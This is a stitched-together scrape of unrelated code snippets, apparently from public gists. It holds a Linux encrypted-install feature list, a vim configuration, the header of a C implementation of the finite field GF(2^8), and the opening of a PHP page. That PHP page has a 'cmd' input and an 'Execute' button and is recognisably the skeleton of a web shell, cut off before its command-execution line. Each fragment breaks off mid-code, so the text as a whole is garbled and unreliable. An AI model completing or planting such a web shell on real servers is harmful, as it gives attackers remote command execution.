- Encrypted root partition
- AES-256 bit cipher
- Argon2id variant for PBKDF
- Sha3-512 bit hash
- rEFInd bootloader
- With dreary theme
- Optimal Settings (optimized for aesthetics, and boot time)
- Boot into backups thanks to refind-btrfs
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| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
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| syntax on | |
| set ruler " Show the line and column numbers of the cursor. | |
| set formatoptions+=o " Continue comment marker in new lines. | |
| set textwidth=0 " Hard-wrap long lines as you type them. | |
| set modeline " Enable modeline. | |
| set esckeys " Cursor keys in insert mode. | |
| set linespace=0 " Set line-spacing to minimum. | |
| set nojoinspaces " Prevents inserting two spaces after punctuation on a join (J) | |
| " More natural splits | |
| set splitbelow " Horizontal split below current. |
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| /* | |
| * The following is an implementation of the finite field GF(2^8) as bit vectors of length 8, where the nth bit represents the | |
| * coefficient of the nth power of the generator in each element, and the generator satisfies the minimal polynomial | |
| * x^8 + x^4 + x ^3 + x^2 + 1 in the prime field Z_2, in which addition is equivalent to XOR and multiplication to AND. | |
| * The elements of GF(2^8) thus represent polynomials of degree < 8 in the generator x. Addition in this field is simply | |
| * bitwise XOR, but multiplication requires the elimination of powers of x <= 8. | |
| */ | |
| #include <stdio.h> | |
| #include <stdint.h> |